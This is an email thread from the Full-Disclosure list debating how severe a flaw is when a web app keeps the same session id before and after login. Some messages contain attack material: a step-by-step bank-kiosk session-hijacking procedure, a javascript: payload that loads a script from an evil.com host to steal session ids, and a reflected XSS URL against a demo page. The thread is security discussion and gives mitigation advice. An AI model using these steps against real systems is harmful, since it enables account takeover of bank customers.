Date: Fri, 13 Jul 2012 16:47:32 +0300
From: Gokhan Muharremoglu <gokhan.muharremoglu@...ec.org>
To: "'Gage Bystrom'" <themadichib0d@...il.com>,
	<full-disclosure@...ts.grok.org.uk>
Subject: Re: Predefined Post Authentication Session ID
	Vulnerability

Thank you for your interest.

But you are not talking about "the vulnerability". Is this a vulnerability?
YES

So, end of the conversation. I appreciate your suggestions.

I don't care about the scenarios or big fishes. This is a vulnerability and
i am making it to public. I am using it in my penetration tests, and it
works... 

Soon, you will see it in web vulnerability scanners. We will consider about
vulnerability's severity of course but medium is acceptable i think.

At least you are talking about technical stuff and lead us to a brainstrom.
That's nice, thanks...
Gokhan Muharremoglu

-----Original Message-----
From: Gage Bystrom [mailto:themadichib0d@...il.com] 
Sent: Friday, July 13, 2012 2:57 PM
To: Gokhan Muharremoglu; full-disclosure@...ts.grok.org.uk
Subject: Re: [Full-disclosure] Predefined Post Authentication Session ID
Vulnerability

Exactly, a niche scenario. I never said it /wasn't/ a vulnerability, only
that it doesn't warrant the severity you claim.

Also again, a situation where there are better things for an attack to do.

Yes you could do that to grab the session id, or whats stopping you from
writing "javascript;document.write('<script
type="text/javascript" src="www.evil.com/evil.js"></script>)?
Presumably evil.js doing all sorts of nasty such as grabbing the session id
and storing it remotely. Yes I'm aware you claimed policies are in place,
but I'm curious if that approach was tried.

Or better yet, why not just load an iframe of the site's app itself?
Theres all sorts of known nasties you can do with iframes, why not intercept
all the the requests to the iframe(wiping out the main page with more js so
things are transparent) and then store the stolen values of logins to a
cookie? Screw the session id, you can get full logins that way. All you
would need to do is swing by and do your
"javascript;alert(document.cookie);" to fetch the results.

Also I'm no expert in javascript or heck even in web applications.
That was just my first idea from a very basic knowledge, therefore we can
assume that any remotely dedicated attacker can probably come up with an
even cleaner solution, but the point still stands:

If you are worried about this vulnerability, you have bigger issues, ergo
why are you even worried?

To me it'd be a lot like worrying if you are salting your passwords stored
in a database properly when you are only xoring them. Yeah sure good salts
are important to consider in isolation, but in that case you have bigger
fish to fry. In this situation the bigger fish to fry is 'the attacker can
run arbitrary js on the victim's side'.

As to the xss, that just illustrates my smaller point that your PoC is
extremely vague. I only figured it out while I was typing my original email,
and that was going off my own testing and ignoring your instructions which
were only misleading me. Judging by some of the other responses here, I'd be
hesitant to say I was the only one. Might wanna think about whats the common
denominator here.

On Fri, Jul 13, 2012 at 4:23 AM, Gokhan Muharremoglu
<gokhan.muharremoglu@...ec.org> wrote:
> Ok. It seems i have to explain this vulnerability's effects with 
> another scenario.
>
> This is a real life scenario and i wrote it in a Turkish article for 
> National Information Security Portal which is run by TUBITAK.
>
> Article in Turkish with scenario =>
> http://www.iosec.org/oturum_oncesi_tanimli_cerez.pdf
>
> I  will explain it in English now.
>
> There are KIOSK/Terminal machines at bank branches in Turkey. 
> Customers can reach to the regular Internet banking applicaton from here.
> But these machines are restricted with policies and you can not view 
> any other web site or close browser page. But you can type in to the 
> address bar.
> All you can do is to enter bank's internet web application.
>
> Here is the scenario (taken from real life):
>
> 1. Type "javascript:alert(document.cookie)" to the address bar and 
> copy all information including Session ID.
> 2. Wait for a victim who logs in to the KIOSK.
> 3. After he/she logins, use your copied Session ID to login as him/her.
>
> In this scenario;
> There was no same-origin restrction,
> There was no httpOnly cookie tag.
>
> Always remember "A chain is only as strong as its weakest link". This 
> is a vulnerability, it's attacker's and conditions' decision how to use
it.
>
> You can use wider vision to consider about real life scenarios.
>
> Gokhan Muharremoglu
>
> -----Original Message-----
> From: Gage Bystrom [mailto:themadichib0d@...il.com]
> Sent: Friday, July 13, 2012 1:40 PM
> To: Gokhan Muharremoglu; full-disclosure@...ts.grok.org.uk
> Subject: Re: [Full-disclosure] Predefined Post Authentication Session 
> ID Vulnerability
>
> Ok after playing around and re-reading the advisory I was finally able 
> to get the PoC to work. While it is interesting once your actually see 
> it work I simply do not believe it warrants the severity you have 
> described. The man reason why I say this is because any attacker in a 
> position to modify a victim's session id is simply in a position to do 
> better things. Why go through the niche roundabout way when you can 
> just simply jack the authenticated session ID?
>
> The only conceivable scenario I can think of would be in the case of a 
> stored XSS that isn't present after authentication, in which case 
> stealing the session ID before hand would be a much better avenue and 
> more in line with what you are trying to warn about(maybe you should 
> make the PoC reflect that to better illustrate your point). Even then 
> we are talking about a really niche attack.
>
> Basically this sounds like a classic example of: "Yes, technically 
> this is abusable, but if you are worried about this, you have bigger 
> problems to deal with."
>
> Speaking of xss your vuln page has one:
>
> http://www.iosec.org/iosec_login_vulnerable.php?user=%3Cscript%3Ealert
> %28%22
> Told%20ya%20so%22%29%3C/script%3E&failed=1
>
> not to mention an arbitrary(even non-existent users) account change:
>
> http://www.iosec.org/iosec_login_vulnerable.php?user=admin
> ((after logging in, not that the result page is much))
>
> Yeah, yeah I know it's meant to be vulnerable to begin with, but you 
> should really make sure a PoC vulnerable page is only vulnerable to 
> what you are trying to demonstrate, otherwise it can be hard to 
> identify if this is a serious issue or just an example of your 
> personal screw ups, generally speaking at least.
>
> On Fri, Jul 13, 2012 at 1:46 AM, Gokhan Muharremoglu 
> <gokhan.muharremoglu@...ec.org> wrote:
>> You can find an example page and combined vulnerabilities below URL.
>> This example login page is affected by Predefined Post Authentication 
>> Session ID Vulnerability.
>> This vulnerability can lead a social engineering scenario or other 
>> hijacking attack scenarios when mixed with other vulnerabilities 
>> (such
> XSS).
>>
>> For proof of concept:
>>
>> http://www.iosec.org/iosec_login_vulnerable.php
>>
>>
>> Predefined Post Authentication Session ID Vulnerability is a 
>> Vendor-neutral vulnerability and it let attackers to design new 
>> attack
> scenarios.
>> A lot of web application on the Internet affected by this vulnerability.
>>
>> -----------------------
>> Vulnerability Name: Predefined Post Authentication Session ID 
>> Vulnerability
>> Type: Improper Session Handling
>> Impact: Session Hijacking
>> Level: Medium
>> Date: 10.07.2012
>> Vendor: Vendor-neutral
>> Issuer: Gokhan Muharremoglu
>> E-mail: gokhan.muharremoglu@...ec.org
>>
>>
>> VULNERABILITY
>> If a web application starts a session and defines a session id before 
>> a user authenticated, this session id must be changed after a 
>> successful authentication. If web application uses the same session 
>> id before and after authentication, any legitimate user who has 
>> gained the "before authentication" session id can hijack future 
>> "after authentication" sessions too.
>>
>> MITIGATION
>> To avoid this vulnerability, sessions must be regenerated after a 
>> successful login. In a session fixation attack, attacker fixates
>> (sets) another person's (victim's) session identifier because of 
>> "never regenerated and validated" session id and this vulnerability 
>> can also lead to the Session Fixation attack or etc.
>>
>> Gokhan Muharremoglu
>> Information Security Specialist
>> (CEH, ECSA, CIW-Web Security Professional, Security+, EXIN 27002 
>> ISFS)
>>
>> -----Original Message-----
>> From: Jann Horn [mailto:jannhorn@...glemail.com]
>> Sent: Friday, July 13, 2012 2:06 AM
>> To: Gokhan Muharremoglu
>> Cc: full-disclosure@...ts.grok.org.uk
>> Subject: Re: [Full-disclosure] Predefined Post Authentication Session 
>> ID Vulnerability
>>
>> On Wed, Jul 11, 2012 at 11:34:11AM +0300, Gokhan Muharremoglu wrote:
>>> Vulnerability Name: Predefined Post Authentication Session ID 
>>> Vulnerability
>>> Type: Improper Session Handling
>>> Impact: Session Hijacking
>>> Level: Medium
>>> Date: 10.07.2012
>>> Vendor: Vendor-neutral
>>> Issuer: Gokhan Muharremoglu
>>> E-mail: gokhan.muharremoglu@...ec.org
>>>
>>>
>>> VULNERABILITY
>>> If a web application starts a session and defines a session id 
>>> before a user authenticated, this session id must be changed after a 
>>> successful authentication. If web application uses the same session 
>>> id before and after authentication, any legitimate user who has 
>>> gained the "before authentication" session id can hijack future 
>>> "after authentication" sessions too.
>>
>> Uh, so, erm, you assume that someone can steal my cookie/set 
>> it/whatever although the Same Origin Policy should clearly not allow 
>> that, and then, after I have logged in, he can't just steal my cookie?
>> Unless you allow setting the session-ID via an URL or so (which would 
>> IMO be pretty stupid), I can't see how this is a realistic, 
>> vendor-neutral attack. Could you explain this a bit better? I don't 
>> get
> it.
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists